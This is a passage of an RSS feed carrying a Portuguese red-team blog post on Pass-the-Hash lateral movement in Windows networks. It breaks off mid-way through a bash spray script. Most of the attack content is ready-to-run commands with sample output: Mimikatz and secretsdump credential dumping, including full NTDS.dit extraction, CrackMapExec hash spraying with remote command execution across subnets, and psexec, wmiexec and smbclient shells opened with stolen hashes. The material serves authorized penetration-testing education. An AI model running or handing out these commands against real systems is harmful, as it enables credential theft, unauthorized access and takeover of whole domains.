&lt;p&gt;&gt; &lt;strong&gt;DISCLAIMER:&lt;/strong&gt; This content is intended exclusively for authorized security professionals. The use of these techniques on systems without explicit authorization is illegal. KBM Security is not responsible for misuse.&lt;/p&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>web</category><category>sqli</category><category>blind</category><category>web</category><category>database</category><category>boolean-based</category><category>time-based</category><category>sqlmap</category><difficulty>hard</difficulty></item><item><title>Pass-the-Hash — Lateral Movement sem senha em texto claro</title><link>https://www.kbmsecurity.com.br/blog/post/pass-the-hash/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/pass-the-hash/</guid><description>Como capturar hashes NTLM e usá-los diretamente para autenticação lateral em redes Windows sem necessidade de crackear a senha.</description><pubDate>Mon, 03 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;o-que-é-pass-the-hash&quot;&gt;O que é Pass-the-Hash?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Pass-the-Hash (PtH)&lt;/strong&gt; é uma técnica de ataque que permite autenticação em serviços Windows utilizando o &lt;strong&gt;hash NTLM&lt;/strong&gt; da senha de um usuário — sem nunca precisar da senha em texto claro.&lt;/p&gt;
&lt;p&gt;O protocolo de autenticação NTLM do Windows não valida se o cliente conhece a senha original; ele valida se o cliente possui o hash correto. Isso torna hashes NTLM funcionalmente equivalentes a senhas.&lt;/p&gt;
&lt;h2 id=&quot;por-que-isso-funciona&quot;&gt;Por que isso funciona?&lt;/h2&gt;
&lt;p&gt;O fluxo de autenticação NTLM funciona assim:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Cliente solicita acesso ao servidor&lt;/li&gt;
&lt;li&gt;Servidor envia um &lt;strong&gt;challenge&lt;/strong&gt; (nonce aleatório)&lt;/li&gt;
&lt;li&gt;Cliente responde com &lt;code&gt;HMAC-MD5(NT_hash, challenge)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Servidor verifica a resposta&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Em nenhum momento a senha em texto claro é transmitida ou verificada. O hash &lt;strong&gt;é&lt;/strong&gt; a credencial.&lt;/p&gt;
&lt;h2 id=&quot;pré-requisitos&quot;&gt;Pré-requisitos&lt;/h2&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Requisito&lt;/th&gt;&lt;th&gt;Detalhe&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Hash NTLM do alvo&lt;/td&gt;&lt;td&gt;Obtido via Mimikatz, secretsdump, etc.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Serviço acessível&lt;/td&gt;&lt;td&gt;SMB (445), WMI (135), RDP com NLA desabilitado&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Conta válida&lt;/td&gt;&lt;td&gt;Local admin ou domain admin no destino&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Protocolo NTLMv1/v2&lt;/td&gt;&lt;td&gt;NTLM deve estar habilitado no alvo&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Nota:&lt;/strong&gt; Pass-the-Hash &lt;strong&gt;não funciona&lt;/strong&gt; contra serviços que exigem Kerberos exclusivamente (e.g. ambientes com “Restrict NTLM” configurado via GPO).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;etapa-1--capturando-hashes-ntlm&quot;&gt;Etapa 1 — Capturando hashes NTLM&lt;/h2&gt;
&lt;h3 id=&quot;via-mimikatz-acesso-local-com-system&quot;&gt;Via Mimikatz (acesso local com SYSTEM)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump de credenciais em memória&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;mimikatz.exe&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;privilege::debug&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;sekurlsa::logonpasswords&quot;&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; exit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Output relevante:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Username : Administrator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# NTLM     : aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;via-impacket-secretsdump-remoto-com-credenciais-admin&quot;&gt;Via Impacket secretsdump (remoto, com credenciais admin)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump remoto via SMB + DCE/RPC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;secretsdump.py&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; DOMAIN/Administrator:&apos;P@ssw0rd&apos;@192.168.1.10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump usando hash (já fazendo PtH para capturar mais hashes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;secretsdump.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/Administrator@192.168.1.10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;via-crackmapexec&quot;&gt;Via CrackMapExec&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump de SAM database&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 192.168.1.0/24&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Administrator&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -H&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --sam&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O formato do hash é sempre &lt;code&gt;LM:NT&lt;/code&gt;. O LM geralmente é &lt;code&gt;aad3b435b51404eeaad3b435b51404ee&lt;/code&gt; (hash vazio) em sistemas modernos. O que importa é a parte &lt;strong&gt;NT&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;etapa-2--executando-o-pth&quot;&gt;Etapa 2 — Executando o PtH&lt;/h2&gt;
&lt;h3 id=&quot;impacket--psexecpy&quot;&gt;Impacket — psexec.py&lt;/h3&gt;
&lt;p&gt;Abre um shell interativo no host remoto via SMB:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;psexec.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/Administrator@192.168.1.20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Resultado:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# [*] Requesting shares on 192.168.1.20.....&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# [*] Found writable share ADMIN$&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# [*] Uploading file XKjQrPwN.exe&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Microsoft Windows [Version 10.0.19044.2251]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# C:\Windows\system32&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;impacket--wmiexecpy&quot;&gt;Impacket — wmiexec.py&lt;/h3&gt;
&lt;p&gt;Execução via WMI (mais silencioso que psexec, sem arquivo em disco):&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;wmiexec.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/Administrator@192.168.1.20&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;whoami&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Resultado: domain\administrator&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;impacket--smbclientpy&quot;&gt;Impacket — smbclient.py&lt;/h3&gt;
&lt;p&gt;Acesso ao filesystem via SMB:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;smbclient.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/Administrator@192.168.1.20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Navegar nos shares:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# # use C$&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# # ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# # get Users\Administrator\Desktop\flag.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;crackmapexec--spray-na-rede&quot;&gt;CrackMapExec — Spray na rede&lt;/h3&gt;
&lt;p&gt;Testar o hash contra múltiplos hosts de uma vez:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Verificar quais hosts aceitam o hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 192.168.1.0/24&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Administrator&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -H&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Executar comando em todos que aceitaram&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 192.168.1.0/24&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Administrator&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -H&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -x&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;net user /domain&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Output com (Pwn3d!) indica sucesso como admin local:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# SMB  192.168.1.20  445  WIN10-DEV  [+] DOMAIN\Administrator (Pwn3d!)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# SMB  192.168.1.25  445  WIN-SRV01  [+] DOMAIN\Administrator (Pwn3d!)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;mimikatz--sekurlsapth&quot;&gt;Mimikatz — sekurlsa::pth&lt;/h3&gt;
&lt;p&gt;Injeta o hash no processo atual para autenticação transparente:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Abre um cmd.exe autenticado com o hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;mimikatz.exe&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;sekurlsa::pth /user:Administrator /domain:CORP /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Na janela resultante:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;dir \\&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;192.168&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1.20&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;\C$        &lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# acesso direto sem prompt de senha&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;net use \\&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;192.168&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1.20&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;\C$    &lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# mapeia o share&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;movimento-em-ambientes-de-domínio&quot;&gt;Movimento em ambientes de domínio&lt;/h2&gt;
&lt;h3 id=&quot;identificando-hosts-com-o-mesmo-hash-local&quot;&gt;Identificando hosts com o mesmo hash local&lt;/h3&gt;
&lt;p&gt;Ambientes Windows legados frequentemente têm a conta &lt;code&gt;.\Administrator&lt;/code&gt; local com a &lt;strong&gt;mesma senha&lt;/strong&gt; em todos os workstations (imagem de SO idêntica). Um único hash compromete toda a subnet.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Mapeamento rápido de ativos com o mesmo hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 10.10.10.0/24&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Administrator&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -H&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;NTLM_HAS&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;H&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --continue-on-success&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Pwn3d&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;pivoting-para-o-domain-controller&quot;&gt;Pivoting para o Domain Controller&lt;/h3&gt;
&lt;p&gt;Se o hash capturado pertence a um &lt;strong&gt;Domain Admin&lt;/strong&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump do NTDS.dit via secretsdump (todos os hashes do domínio)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;secretsdump.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;DA_NT_HAS&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;H&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/DomainAdmin@192.168.1.1&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -just-dc-ntlm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Resultado: centenas de hashes, incluindo krbtgt para Golden Ticket&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;script-de-automação&quot;&gt;Script de automação&lt;/h2&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# pth_spray.sh — Testa hash NTLM contra range de IPs via CrackMapExec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;TARGET_RANGE&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;${1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:-&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;24}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;USER&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;${2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:-&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;Administrator&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;HASH&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;${3}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [[ &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-z&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$HASH&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ]]; &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
